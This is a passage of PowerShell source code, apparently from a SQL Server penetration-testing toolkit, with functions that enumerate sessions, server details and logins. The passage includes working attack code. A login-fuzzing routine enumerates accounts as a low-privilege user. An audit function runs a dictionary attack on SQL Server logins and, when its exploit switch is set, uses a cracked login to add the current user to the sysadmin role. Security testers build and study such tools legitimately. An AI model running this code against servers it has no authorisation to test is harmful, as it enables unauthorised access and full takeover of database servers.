$null = $TblSessions.Columns.Add('SessionStatus')
# Setup PrincipalName filter
if($PrincipalName)
{
$PrincipalNameFilter = " and login_name like '$PrincipalName'"
}
else
{
$PrincipalNameFilter = ''
}
}
Process
{
# Note: Tables queried by this function typically require sysadmin privileges to view sessions that aren't yours.
# Parse computer name from the instance
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
# Default connection to local default instance
if(-not $Instance)
{
$Instance = $env:COMPUTERNAME
}
# Test connection to instance
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
$_.Status -eq 'Accessible'
}
if($TestConnection)
{
if( -not $SuppressVerbose)
{
Write-Verbose -Message "$Instance : Connection Success."
}
}
else
{
if( -not $SuppressVerbose)
{
Write-Verbose -Message "$Instance : Connection Failed."
}
return
}
# Define Query
$Query = " USE master;
SELECT '$ComputerName' as [ComputerName],
'$Instance' as [Instance],
security_id as [PrincipalSid],
login_name as [PrincipalName],
original_login_name as [OriginalPrincipalName],
session_id as [SessionId],
last_request_start_time as [SessionStartTime],
login_time as [SessionLoginTime],
status as [SessionStatus]
FROM [sys].[dm_exec_sessions]
ORDER BY status
$PrincipalNameFilter"
# Execute Query
$TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
# Update sid formatting for each record
$TblResults |
ForEach-Object -Process {
# Format principal sid
$NewSid = [System.BitConverter]::ToString($_.PrincipalSid).Replace('-','')
if ($NewSid.length -le 10)
{
$Sid = [Convert]::ToInt32($NewSid,16)
}
else
{
$Sid = $NewSid
}
# Add results to table
$null = $TblSessions.Rows.Add(
[string]$_.ComputerName,
[string]$_.Instance,
$Sid,
[string]$_.PrincipalName,
[string]$_.OriginalPrincipalName,
[string]$_.SessionId,
[string]$_.SessionStartTime,
[string]$_.SessionLoginTime,
[string]$_.SessionStatus)
}
}
End
{
# Return data
$TblSessions
}
}
Function Get-SQLSysadminCheck
{
<#
.SYNOPSIS
Check if login is has sysadmin privilege on the target SQL Servers.
.PARAMETER Username
SQL Server or domain account to authenticate with.
.PARAMETER Password
SQL Server or domain account password to authenticate with.
.PARAMETER Credential
SQL Server credential.
.PARAMETER Instance
SQL Server instance to connection to.
.EXAMPLE
PS C:\> Get-SQLSysadminCheck -Instance SQLServer1\STANDARDDEV2014
ComputerName Instance IsSysadmin
------------ -------- ----------
SQLServer1 SQLServer1\STANDARDDEV2014 Yes
.EXAMPLE
PS C:\> Get-SQLInstanceDomain | Get-SQLStoredProcure -Verbose -NoDefaults
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'Windows credentials.')]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
[switch]$SuppressVerbose
)
Begin
{
# Data for output
$TblSysadminStatus = New-Object -TypeName System.Data.DataTable
# Setup CredentialName filter
if($CredentialName)
{
$CredentialNameFilter = " WHERE name like '$CredentialName'"
}
else
{
$CredentialNameFilter = ''
}
}
Process
{
# Parse computer name from the instance
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
# Default connection to local default instance
if(-not $Instance)
{
$Instance = $env:COMPUTERNAME
}
# Test connection to instance
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
$_.Status -eq 'Accessible'
}
if($TestConnection)
{
if( -not $SuppressVerbose)
{
Write-Verbose -Message "$Instance : Connection Success."
}
}
else
{
if( -not $SuppressVerbose)
{
Write-Verbose -Message "$Instance : Connection Failed."
}
return
}
# Define Query
$Query = "SELECT '$ComputerName' as [ComputerName],
'$Instance' as [Instance],
CASE
WHEN IS_SRVROLEMEMBER('sysadmin') = 0 THEN 'No'
ELSE 'Yes'
END as IsSysadmin"
# Execute Query
$TblSysadminStatusTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
# Append results
$TblSysadminStatus = $TblSysadminStatus + $TblSysadminStatusTemp
}
End
{
# Return data
$TblSysadminStatus
}
}
Function Get-SQLServerInfo
{
<#
.SYNOPSIS
Returns basic server and user information from target SQL Servers.
.PARAMETER Username
SQL Server or domain account to authenticate with.
.PARAMETER Password
SQL Server or domain account password to authenticate with.
.PARAMETER Credential
SQL Server credential.
.PARAMETER Instance
SQL Server instance to connection to.
.EXAMPLE
PS C:\> Get-SQLServerInfo -Instance SQLServer1\STANDARDDEV2014
ComputerName : SQLServer1
Instance : SQLServer1\STANDARDDEV2014
DomainName : Domain
ServiceProcessId : 6758
ServiceName : MSSQL$STANDARDDEV2014
ServiceAccount : LocalSystem
AuthenticationMode : Windows and SQL Server Authentication
Clustered : No
SQLServerVersionNumber : 12.0.4213.0
SQLServerMajorVersion : 2014
SQLServerEdition : Developer Edition (64-bit)
SQLServerServicePack : SP1
OSArchitecture : X64
OsMachineType : WinNT
OSVersionName : Windows 8.1 Pro
OsVersionNumber : 6.3
Currentlogin : Domain\MyUser
IsSysadmin : Yes
ActiveSessions : 1
.EXAMPLE
PS C:\> Get-SQLInstanceLocal | Get-SQLServerInfo -Verbose
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'Windows credentials.')]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
[switch]$SuppressVerbose
)
Begin
{
# Table for output
$TblServerInfo = New-Object -TypeName System.Data.DataTable
}
Process
{
# Parse computer name from the instance
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
# Default connection to local default instance
if(-not $Instance)
{
$Instance = $env:COMPUTERNAME
}
# Test connection to instance
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
$_.Status -eq 'Accessible'
}
if($TestConnection)
{
if( -not $SuppressVerbose)
{
Write-Verbose -Message "$Instance : Connection Success."
}
}
else
{
if( -not $SuppressVerbose)
{
Write-Verbose -Message "$Instance : Connection Failed."
}
return
}
# Get number of active sessions for server
$ActiveSessions = Get-SQLSession -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose |
Where-Object -FilterScript {
$_.SessionStatus -eq 'running'
} |
Measure-Object -Line |
Select-Object -Property Lines -ExpandProperty Lines
# Get sysadmin status
$IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin
if($IsSysadmin -eq 'Yes')
{
# Grab additional information if sysadmin
$SysadminSetup = "
-- Get machine type
DECLARE @MachineType SYSNAME
EXECUTE master.dbo.xp_regread
@rootkey = N'HKEY_LOCAL_MACHINE',
@key = N'SYSTEM\CurrentControlSet\Control\ProductOptions',
@value_name = N'ProductType',
@value = @MachineType output
-- Get OS version
DECLARE @ProductName SYSNAME
EXECUTE master.dbo.xp_regread
@rootkey = N'HKEY_LOCAL_MACHINE',
@key = N'SOFTWARE\Microsoft\Windows NT\CurrentVersion',
@value_name = N'ProductName',
@value = @ProductName output"
$SysadminQuery = ' @MachineType as [OsMachineType],
@ProductName as [OSVersionName],'
}
else
{
$SysadminSetup = ''
$SysadminQuery = ''
}
# Define Query
$Query = " -- Get SQL Server Information
-- Get SQL Server Service Name and Path
DECLARE @SQLServerInstance varchar(250)
DECLARE @SQLServerServiceName varchar(250)
if @@SERVICENAME = 'MSSQLSERVER'
BEGIN
set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQLSERVER'
set @SQLServerServiceName = 'MSSQLSERVER'
END
ELSE
BEGIN
set @SQLServerInstance = 'SYSTEM\CurrentControlSet\Services\MSSQL$'+cast(@@SERVICENAME as varchar(250))
set @SQLServerServiceName = 'MSSQL$'+cast(@@SERVICENAME as varchar(250))
END
-- Get SQL Server Service Account
DECLARE @ServiceaccountName varchar(250)
EXECUTE master.dbo.xp_instance_regread
N'HKEY_LOCAL_MACHINE', @SQLServerInstance,
N'ObjectName',@ServiceAccountName OUTPUT, N'no_output'
-- Get authentication mode
DECLARE @AuthenticationMode INT
EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
N'Software\Microsoft\MSSQLServer\MSSQLServer',
N'LoginMode', @AuthenticationMode OUTPUT
-- Get the forced encryption flag
BEGIN TRY
DECLARE @ForcedEncryption INT
EXEC master.dbo.xp_instance_regread N'HKEY_LOCAL_MACHINE',
N'SOFTWARE\MICROSOFT\Microsoft SQL Server\MSSQLServer\SuperSocketNetLib',
N'ForceEncryption', @ForcedEncryption OUTPUT
END TRY
BEGIN CATCH
END CATCH
-- Grab additional information as sysadmin
$SysadminSetup
-- Return server and version information
SELECT '$ComputerName' as [ComputerName],
@@servername as [Instance],
DEFAULT_DOMAIN() as [DomainName],
SERVERPROPERTY('processid') as ServiceProcessID,
@SQLServerServiceName as [ServiceName],
@ServiceAccountName as [ServiceAccount],
(SELECT CASE @AuthenticationMode
WHEN 1 THEN 'Windows Authentication'
WHEN 2 THEN 'Windows and SQL Server Authentication'
ELSE 'Unknown'
END) as [AuthenticationMode],
@ForcedEncryption as ForcedEncryption,
CASE SERVERPROPERTY('IsClustered')
WHEN 0
THEN 'No'
ELSE 'Yes'
END as [Clustered],
SERVERPROPERTY('productversion') as [SQLServerVersionNumber],
SUBSTRING(@@VERSION, CHARINDEX('2', @@VERSION), 4) as [SQLServerMajorVersion],
serverproperty('Edition') as [SQLServerEdition],
SERVERPROPERTY('ProductLevel') AS [SQLServerServicePack],
SUBSTRING(@@VERSION, CHARINDEX('x', @@VERSION), 3) as [OSArchitecture],
$SysadminQuery
RIGHT(SUBSTRING(@@VERSION, CHARINDEX('Windows NT', @@VERSION), 14), 3) as [OsVersionNumber],
SYSTEM_USER as [Currentlogin],
'$IsSysadmin' as [IsSysadmin],
'$ActiveSessions' as [ActiveSessions]"
# Execute Query
$TblServerInfoTemp = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
# Append as needed
$TblServerInfo = $TblServerInfo + $TblServerInfoTemp
}
End
{
# Return data
$TblServerInfo
}
}
Function Get-SQLFuzzServerLogin
{
<#
.SYNOPSIS
Enumerates SQL Server Logins based on login id using SUSER_NAME() and only the Public role.
.PARAMETER Username
SQL Server or domain account to authenticate with.
.PARAMETER Password
SQL Server or domain account password to authenticate with.
.PARAMETER Credential
SQL Server credential.
.PARAMETER Instance
SQL Server instance to connection to.
.PARAMETER FuzzNum
The number of Principal IDs to fuzz during blind SQL login enumeration as a least privilege login.
.PARAMETER GetRole
Checks if the principal name is a role, SQL login, or Windows account.
.EXAMPLE
PS C:\> Get-SQLFuzzServerLogin -Instance SQLServer1\STANDARDDEV2014 -StartId 1 -EndId 500 | Select-Object -First 40
ComputerName Instance PrincipalId PrincipleName
------------ -------- ---------- -------------
SQLServer1 SQLServer1\STANDARDDEV2014 1 sa
SQLServer1 SQLServer1\STANDARDDEV2014 2 public
SQLServer1 SQLServer1\STANDARDDEV2014 3 sysadmin
SQLServer1 SQLServer1\STANDARDDEV2014 4 securityadmin
SQLServer1 SQLServer1\STANDARDDEV2014 5 serveradmin
SQLServer1 SQLServer1\STANDARDDEV2014 6 setupadmin
SQLServer1 SQLServer1\STANDARDDEV2014 7 processadmin
SQLServer1 SQLServer1\STANDARDDEV2014 8 diskadmin
SQLServer1 SQLServer1\STANDARDDEV2014 9 dbcreator
SQLServer1 SQLServer1\STANDARDDEV2014 10 bulkadmin
SQLServer1 SQLServer1\STANDARDDEV2014 101 ##MS_SQLResourceSigningCertificate##
SQLServer1 SQLServer1\STANDARDDEV2014 102 ##MS_SQLReplicationSigningCertificate##
SQLServer1 SQLServer1\STANDARDDEV2014 103 ##MS_SQLAuthenticatorCertificate##
SQLServer1 SQLServer1\STANDARDDEV2014 105 ##MS_PolicySigningCertificate##
SQLServer1 SQLServer1\STANDARDDEV2014 106 ##MS_SmoExtendedSigningCertificate##
SQLServer1 SQLServer1\STANDARDDEV2014 121 ##Agent XPs##
SQLServer1 SQLServer1\STANDARDDEV2014 122 ##SQL Mail XPs##
SQLServer1 SQLServer1\STANDARDDEV2014 123 ##Database Mail XPs##
SQLServer1 SQLServer1\STANDARDDEV2014 124 ##SMO and DMO XPs##
SQLServer1 SQLServer1\STANDARDDEV2014 125 ##Ole Automation Procedures##
SQLServer1 SQLServer1\STANDARDDEV2014 126 ##Web Assistant Procedures##
SQLServer1 SQLServer1\STANDARDDEV2014 127 ##xp_cmdshell##
SQLServer1 SQLServer1\STANDARDDEV2014 128 ##Ad Hoc Distributed Queries##
SQLServer1 SQLServer1\STANDARDDEV2014 129 ##Replication XPs##
SQLServer1 SQLServer1\STANDARDDEV2014 257 ##MS_PolicyTsqlExecutionLogin##
SQLServer1 SQLServer1\STANDARDDEV2014 259 Domain\User
SQLServer1 SQLServer1\STANDARDDEV2014 260 NT SERVICE\SQLWriter
SQLServer1 SQLServer1\STANDARDDEV2014 261 NT SERVICE\Winmgmt
SQLServer1 SQLServer1\STANDARDDEV2014 262 NT Service\MSSQL$STANDARDDEV2014
SQLServer1 SQLServer1\STANDARDDEV2014 263 NT AUTHORITY\SYSTEM
SQLServer1 SQLServer1\STANDARDDEV2014 264 NT SERVICE\SQLAgent$STANDARDDEV2014
SQLServer1 SQLServer1\STANDARDDEV2014 265 NT SERVICE\ReportServer$STANDARDDEV2014
SQLServer1 SQLServer1\STANDARDDEV2014 266 ##MS_PolicyEventProcessingLogin##
SQLServer1 SQLServer1\STANDARDDEV2014 267 ##MS_AgentSigningCertificate##
SQLServer1 SQLServer1\STANDARDDEV2014 268 MySQLUser1
SQLServer1 SQLServer1\STANDARDDEV2014 270 MySQLUser2
SQLServer1 SQLServer1\STANDARDDEV2014 271 MySQLUser3
SQLServer1 SQLServer1\STANDARDDEV2014 272 MySysadmin1
SQLServer1 SQLServer1\STANDARDDEV2014 273 Domain\User2
SQLServer1 SQLServer1\STANDARDDEV2014 274 MySysadmin2
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server or domain account to authenticate with.')]
[string]$Username,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server or domain account password to authenticate with.')]
[string]$Password,
[Parameter(Mandatory = $false,
HelpMessage = 'Windows credentials.')]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = 'Number of Principal IDs to fuzz.')]
[string]$FuzzNum = 10000,
[Parameter(Mandatory = $false,
HelpMessage = 'Try to determine if the principal type is role, SQL login, or Windows account via error analysis of sp_defaultdb.')]
[switch]$GetPrincipalType,
[Parameter(Mandatory = $false,
HelpMessage = 'Suppress verbose errors. Used when function is wrapped.')]
[switch]$SuppressVerbose
)
Begin
{
# Table for output
$TblFuzzedLogins = New-Object -TypeName System.Data.DataTable
$null = $TblFuzzedLogins.Columns.add('ComputerName')
$null = $TblFuzzedLogins.Columns.add('Instance')
$null = $TblFuzzedLogins.Columns.add('PrincipalId')
$null = $TblFuzzedLogins.Columns.add('PrincipleName')
if($GetPrincipalType)
{
$null = $TblFuzzedLogins.Columns.add('PrincipleType')
}
}
Process
{
# Parse computer name from the instance
$ComputerName = Get-ComputerNameFromInstance -Instance $Instance
# Default connection to local default instance
if(-not $Instance)
{
$Instance = $env:COMPUTERNAME
}
# Test connection to instance
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
$_.Status -eq 'Accessible'
}
if($TestConnection)
{
if( -not $SuppressVerbose)
{
Write-Verbose -Message "$Instance : Connection Success."
Write-Verbose -Message "$Instance : Enumerating principal names from $FuzzNum principal IDs.."
}
}
else
{
if( -not $SuppressVerbose)
{
Write-Verbose -Message "$Instance : Connection Failed."
}
return
}
# Define Query
# Reference: https://gist.github.com/ConstantineK/c6de5d398ec43bab1a29ef07e8c21ec7
$Query = "
SELECT
'$ComputerName' as [ComputerName],
'$Instance' as [Instance],
n [PrincipalId], SUSER_NAME(n) as [PrincipleName]
from (
select top $FuzzNum row_number() over(order by t1.number) as N
from master..spt_values t1
cross join master..spt_values t2
) a
where SUSER_NAME(n) is not null"
# Execute Query
$TblResults = Get-SQLQuery -Instance $Instance -Query $Query -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
# Process results
$TblResults |
ForEach-Object {
# check if principal is role, sql login, or windows account
$PrincipalName = $_.PrincipleName
$PrincipalId = $_.PrincipalId
if($GetPrincipalType)
{
$RoleCheckQuery = "EXEC master..sp_defaultdb '$PrincipalName', 'NOTAREALDATABASE1234ABCD'"
$RoleCheckResults = Get-SQLQuery -Instance $Instance -Query $RoleCheckQuery -Username $Username -Password $Password -Credential $Credential -SuppressVerbose -ReturnError
# Check the error message for a signature that means the login is real
if (($RoleCheckResults -like '*NOTAREALDATABASE*') -or ($RoleCheckResults -like '*alter the login*'))
{
if($PrincipalName -like '*\*')
{
$PrincipalType = 'Windows Account'
}
else
{
$PrincipalType = 'SQL Login'
}
}
else
{
$PrincipalType = 'SQL Server Role'
}
}
# Add to result set
if($GetPrincipalType)
{
$null = $TblFuzzedLogins.Rows.Add($ComputerName, $Instance, $PrincipalId, $PrincipalName, $PrincipalType)
}
else
{
$null = $TblFuzzedLogins.Rows.Add($ComputerName, $Instance, $PrincipalId, $PrincipalName)
}
}
}
End
{
# Return data
$TblFuzzedLogins | Where-Object -FilterScript {
$_.PrincipleName.length -ge 2
}
if( -not $SuppressVerbose)
{
Write-Verbose -Message "$Instance : Complete."
}
}
}
Function Invoke-SQLAuditWeakLoginPw
{
<#
.SYNOPSIS
Perform dictionary attack for common passwords. By default, it will enumerate
SQL Server logins and the current login and test for "username" as password
for each enumerated login.
.PARAMETER Username
Known SQL Server login to obtain a list of logins with for testing.
.PARAMETER TestUsername
SQL Server or domain account to authenticate with.
.PARAMETER UserFile
Path to list of users to use. One per line.
.PARAMETER Password
Known SQL Server login password to obtain a list of logins with for testing.
.PARAMETER TestPassword
Password to test provided or discovered logins with.
.PARAMETER PassFile
Path to list of password to use. One per line.
.PARAMETER Credential
SQL Server credential.
.PARAMETER Instance
SQL Server instance to connection to.
.PARAMETER NoUserAsPass
Don't try to login using the login name as the password.
.PARAMETER NoUserEnum
Don't try to enumerate logins to test.
.PARAMETER FuzzNum
The number of Principal IDs to fuzz during blind SQL login enumeration as a least privilege login.
.PARAMETER Exploit
Exploit vulnerable issues.
.EXAMPLE
PS C:\> Get-SQLInstanceLocal | Invoke-SQLAuditWeakLoginPw -Username myuser -Password mypassword
ComputerName : SQLServer1
Instance : SQLServer1\STANDARDDEV2014
Vulnerability : Weak Login Password
Description : One or more SQL Server logins is configured with a weak password. This may provide unauthorized access to resources the affected logins have access to.
Remediation : Ensure all SQL Server logins are required to use a strong password. Considered inheriting the OS password policy.
Severity : High
IsVulnerable : Yes
IsExploitable : Yes
Exploited : No
ExploitCmd : Use the affected credentials to log into the SQL Server, or rerun this command with -Exploit.
Details : The testuser (Not Sysadmin) is configured with the password testuser.
Reference : https://msdn.microsoft.com/en-us/library/ms161959.aspx
Author : Scott Sutherland (@_nullbind), NetSPI 2016
ComputerName : SQLServer1
Instance : SQLServer1\Express
Vulnerability : Weak Login Password
Description : One or more SQL Server logins is configured with a weak password. This may provide unauthorized access to resources the affected logins have access to.
Remediation : Ensure all SQL Server logins are required to use a strong password. Considered inheriting the OS password policy.
Severity : High
IsVulnerable : Yes
IsExploitable : Yes
Exploited : No
ExploitCmd : Use the affected credentials to log into the SQL Server, or rerun this command with -Exploit.
Details : The testadmin (Sysadmin) is configured with the password testadmin.
Reference : https://msdn.microsoft.com/en-us/library/ms161959.aspx
Author : Scott Sutherland (@_nullbind), NetSPI 2016
.EXAMPLE
PS C:\> Invoke-SQLAuditWeakLoginPw -Verbose -Instance SQLServer1\STANDARDDEV2014
#>
[CmdletBinding()]
Param(
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'Known SQL Server login to fuzz logins with.')]
[string]$Username,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'Username to test.')]
[string]$TestUsername = 'sa',
[Parameter(Mandatory = $false,
HelpMessage = 'Path to list of users to use. One per line.')]
[string]$UserFile,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'Known SQL Server password to fuzz logins with.')]
[string]$Password,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server password to attempt to login with.')]
[string]$TestPassword,
[Parameter(Mandatory = $false,
HelpMessage = 'Path to list of passwords to use. One per line.')]
[string]$PassFile,
[Parameter(Mandatory = $false,
HelpMessage = 'User is tested as pass by default. This setting disables it.')]
[switch]$NoUserAsPass,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'Windows credentials.')]
[System.Management.Automation.PSCredential]
[System.Management.Automation.Credential()]$Credential = [System.Management.Automation.PSCredential]::Empty,
[Parameter(Mandatory = $false,
ValueFromPipelineByPropertyName = $true,
HelpMessage = 'SQL Server instance to connection to.')]
[string]$Instance,
[Parameter(Mandatory = $false,
HelpMessage = "Don't attempt to enumerate logins from the server.")]
[switch]$NoUserEnum,
[Parameter(Mandatory = $false,
HelpMessage = 'Number of Principal IDs to fuzz.')]
[string]$FuzzNum = 10000,
[Parameter(Mandatory = $false,
HelpMessage = "Don't output anything.")]
[switch]$NoOutput,
[Parameter(Mandatory = $false,
HelpMessage = 'Exploit vulnerable issues.')]
[switch]$Exploit
)
Begin
{
# Table for output
$TblData = New-Object -TypeName System.Data.DataTable
$null = $TblData.Columns.Add('ComputerName')
$null = $TblData.Columns.Add('Instance')
$null = $TblData.Columns.Add('Vulnerability')
$null = $TblData.Columns.Add('Description')
$null = $TblData.Columns.Add('Remediation')
$null = $TblData.Columns.Add('Severity')
$null = $TblData.Columns.Add('IsVulnerable')
$null = $TblData.Columns.Add('IsExploitable')
$null = $TblData.Columns.Add('Exploited')
$null = $TblData.Columns.Add('ExploitCmd')
$null = $TblData.Columns.Add('Details')
$null = $TblData.Columns.Add('Reference')
$null = $TblData.Columns.Add('Author')
}
Process
{
# Status User
Write-Verbose -Message "$Instance : START VULNERABILITY CHECK: Weak Login Password"
# Test connection to server
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
$_.Status -eq 'Accessible'
}
if(-not $TestConnection)
{
# Status user
Write-Verbose -Message "$Instance : CONNECTION FAILED."
Write-Verbose -Message "$Instance : COMPLETED VULNERABILITY CHECK: Weak Login Password."
Return
}
else
{
Write-Verbose -Message "$Instance : CONNECTION SUCCESS."
}
# Grab server information
$ServerInfo = Get-SQLServerInfo -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose
$CurrentLogin = $ServerInfo.CurrentLogin
$ComputerName = $ServerInfo.ComputerName
$CurrentUSerSysadmin = $ServerInfo.IsSysadmin
# --------------------------------------------
# Set function meta data for report output
# --------------------------------------------
if($Exploit)
{
$TestMode = 'Exploit'
}
else
{
$TestMode = 'Audit'
}
$Vulnerability = 'Weak Login Password'
$Description = 'One or more SQL Server logins is configured with a weak password. This may provide unauthorized access to resources the affected logins have access to.'
$Remediation = 'Ensure all SQL Server logins are required to use a strong password. Consider inheriting the OS password policy.'
$Severity = 'High'
$IsVulnerable = 'No'
$IsExploitable = 'No'
$Exploited = 'No'
$ExploitCmd = 'Use the affected credentials to log into the SQL Server, or rerun this command with -Exploit.'
$Details = ''
$Reference = 'https://msdn.microsoft.com/en-us/library/ms161959.aspx'
$Author = 'Scott Sutherland (@_nullbind), NetSPI 2016'
# -----------------------------------------------------------------
# Check for the Vulnerability
# Note: Typically a missing patch or weak configuration
# -----------------------------------------------------------------
# Create empty user / password lists
$LoginList = @()
$PasswordList = @()
# Get logins for testing - file
if($UserFile)
{
Write-Verbose -Message "$Instance - Getting logins from file..."
Get-Content -Path $UserFile |
ForEach-Object -Process {
$LoginList += $_
}
}
# Get logins for testing - variable
if($TestUsername)
{
Write-Verbose -Message "$Instance - Getting supplied login..."
$LoginList += $TestUsername
}
# Get logins for testing - fuzzed
if(-not $NoUserEnum)
{
# Test connection to instance
$TestConnection = Get-SQLConnectionTest -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose | Where-Object -FilterScript {
$_.Status -eq 'Accessible'
}
if($TestConnection)
{
# Check if sysadmin
$IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose | Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin
if($IsSysadmin -eq 'Yes')
{
# Query for logins
Write-Verbose -Message "$Instance - Getting list of logins..."
Get-SQLServerLogin -Instance $Instance -Username $Username -Password $Password -Credential $Credential -SuppressVerbose |
Where-Object -FilterScript {
$_.PrincipalType -eq 'SQL_LOGIN'
} |
Select-Object -Property PrincipalName -ExpandProperty PrincipalName |
ForEach-Object -Process {
$LoginList += $_
}
}
else
{
# Fuzz logins
Write-Verbose -Message "$Instance : Enumerating principal names from $FuzzNum principal IDs.."
Get-SQLFuzzServerLogin -Instance $Instance -GetPrincipalType -Username $Username -Password $Password -Credential $Credential -FuzzNum $FuzzNum -SuppressVerbose |
Where-Object -FilterScript {
$_.PrincipleType -eq 'SQL Login'
} |
Select-Object -Property PrincipleName -ExpandProperty PrincipleName |
ForEach-Object -Process {
$LoginList += $_
}
}
}
else
{
if( -not $SuppressVerbose)
{
Write-Verbose -Message "$Instance - Connection Failed - Could not authenticate with provided credentials."
}
return
}
}
# Check for users or return - count array
if($LoginList.count -eq 0 -and (-not $FuzzLogins))
{
Write-Verbose -Message "$Instance - No logins have been provided."
return
}
# Get passwords for testing - file
if($PassFile)
{
Write-Verbose -Message "$Instance - Getting password from file..."
Get-Content -Path $PassFile |
ForEach-Object -Process {
$PasswordList += $_
}
}
# Get passwords for testing - variable
if($TestPassword)
{
Write-Verbose -Message "$Instance - Getting supplied password..."
$PasswordList += $TestPassword
}
# Check for provided passwords
if($PasswordList.count -eq 0 -and ($NoUserAsPass))
{
Write-Verbose -Message "$Instance - No passwords have been provided."
return
}
# Iternate through logins and perform dictionary attack
Write-Verbose -Message "$Instance - Performing dictionary attack..."
$LoginList |
Select-Object -Unique |
ForEach-Object -Process {
$TargetLogin = $_
$PasswordList |
Select-Object -Unique |
ForEach-Object -Process {
$TargetPassword = $_
$TestPass = Get-SQLConnectionTest -Instance $Instance -Username $TargetLogin -Password $TargetPassword -SuppressVerbose |
Where-Object -FilterScript {
$_.Status -eq 'Accessible'
}
if($TestPass)
{
# Check if guess credential is a sysadmin
$IsSysadmin = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $TargetLogin -Password $TargetPassword -SuppressVerbose |
Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin
if($IsSysadmin -eq 'Yes')
{
$SysadminStatus = 'Sysadmin'
}
else
{
$SysadminStatus = 'Not Sysadmin'
}
Write-Verbose -Message "$Instance - Successful Login: User = $TargetLogin ($SysadminStatus) Password = $TargetPassword"
if($Exploit)
{
Write-Verbose -Message "$Instance - Trying to make you a sysadmin..."
# Check if the current login is a sysadmin
$IsSysadmin1 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose |
Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin
if($IsSysadmin1 -eq 'Yes')
{
Write-Verbose -Message "$Instance - You're already a sysadmin. Nothing to do."
}
else
{
Write-Verbose -Message "$Instance - You're not currently a sysadmin. Let's change that..."
# Add current user as sysadmin if login was successful
Get-SQLQuery -Instance $Instance -Username $TargetLogin -Password $TargetPassword -Credential $Credential -Query "EXEC sp_addsrvrolemember '$CurrentLogin','sysadmin'" -SuppressVerbose
# Check if the current login is a sysadmin again
$IsSysadmin2 = Get-SQLSysadminCheck -Instance $Instance -Credential $Credential -Username $Username -Password $Password -SuppressVerbose |
Select-Object -Property IsSysadmin -ExpandProperty IsSysadmin
if($IsSysadmin2 -eq 'Yes')
{
$Exploited = 'Yes'
Write-Verbose -Message "$Instance - SUCCESS! You're a sysadmin now."
}
else
{
$Exploited = 'No'
Write-Verbose -Message "$Instance - Fail. We coudn't add you as a sysadmin."
}
}
}
# Add record
$Details = "The $TargetLogin ($SysadminStatus) is configured with the password $TargetPassword."
